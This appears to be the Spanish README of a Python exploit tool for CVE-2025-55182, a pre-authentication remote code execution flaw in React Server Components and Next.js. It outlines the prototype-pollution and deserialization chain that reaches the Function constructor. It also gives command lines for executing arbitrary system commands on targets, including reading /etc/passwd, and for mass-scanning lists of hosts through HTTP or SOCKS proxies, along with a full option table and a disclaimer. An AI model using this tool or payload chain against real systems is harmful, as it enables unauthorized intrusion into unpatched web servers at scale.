
React Server Components / Next.js Ejecución Remota de Código Pre-Autenticación
| Campo | Valor |
|---|---|
| CVE ID | CVE-2025-55182 |
| CVSS | 10.0 (Crítico) |
| CWE | CWE-502: Deserialización de Datos No Confiables |
| Tipo | RCE Pre-Auth |
| Componente | Versiones Afectadas |
|---|---|
| React | 19.0.0, 19.1.0, 19.1.1, 19.2.0 |
| Next.js | 15.0.0 ~ 15.0.4, 15.1.0 ~ 15.1.8, 15.2.x ~ 15.5.6, 16.0.0 ~ 16.0.6 |
| Paquetes relacionados | react-server-dom-webpack, react-server-dom-turbopack, react-server-dom-parcel |
Esta vulnerabilidad explota una falla de deserialización en el protocolo Flight de React Server Components (RSC), logrando ejecución remota de código no autorizada mediante la construcción de una solicitud maliciosa multipart/form-data. La cadena de explotación completa es la siguiente:
POST multipart/form-data junto con la cabecera Next-Action$1:__proto__:then accede a Chunk.prototype.then en el objeto del Chunk 1 en estado PENDING, convirtiéndolo en un thenable$1:constructor:constructor se resuelve a través de la cadena de prototipos hasta el constructor FunctionChunk.prototype.then llama a initializeModelChunk para resolver el campo value '{"then":"$B0"}'$B0 invoca _formData.get(_prefix + "0"), es decir, Function(code + "0")pip install requests[socks]
El script intentará instalar automáticamente
requestsyPySockssi faltan dependencias.
python CVE-2025-55182.py -u http://target:3000 -c "id"
python CVE-2025-55182.py -f targets.txt -c "cat /etc/passwd" -o results.txt
python CVE-2025-55182.py -u http://target:3000 --check
python CVE-2025-55182.py -f targets.txt --check -o vuln_hosts.txt
# Proxy HTTP
python CVE-2025-55182.py -u http://target:3000 -c "whoami" --proxy http://127.0.0.1:8080
# Proxy SOCKS5
python CVE-2025-55182.py -f targets.txt -c "id" --proxy socks5://127.0.0.1:1080
python CVE-2025-55182.py -u http://target:3000 -c "id" -v
Los resultados del escaneo masivo se escriben en el archivo de salida especificado por -o, registrando únicamente los objetivos confirmados como vulnerables.
http://192.168.1.10:3000
https://app.example.com
http://10.0.0.5:3000/dashboard
# Las líneas de comentario se ignoran
Esta herramienta está destinada únicamente a pruebas de seguridad autorizadas y fines de investigación de seguridad. El usuario debe asegurarse de contar con la autorización explícita del propietario del sistema objetivo. Realizar pruebas de penetración sin autorización constituye una actividad ilegal, y el usuario asume toda la responsabilidad legal correspondiente.
then, se considera un thenable y se invoca, desencadenando la ejecución de código y logrando RCE| Parámetro | Descripción | Valor Predeterminado |
|---|
-u, --url | URL de un solo objetivo (mutuamente excluyente con -f) | - |
-f, --file | Archivo con lista de URLs objetivo, una por línea (mutuamente excluyente con -u) | - |
-c, --command | Comando del sistema a ejecutar (no requerido en modo --check) | - |
-o, --output | Archivo de salida de resultados | results.txt |
-t, --threads | Número de hilos concurrentes | 10 |
-v, --verbose | Mostrar salida de depuración | False |
--proxy | Dirección del proxy, soporta HTTP y SOCKS5 | - |
--timeout | Tiempo de espera de la solicitud (segundos) | 15 |
--check | Solo detectar vulnerabilidad, sin ejecutar comandos del sistema | False |
--verify-ssl | Verificar certificados TLS | False |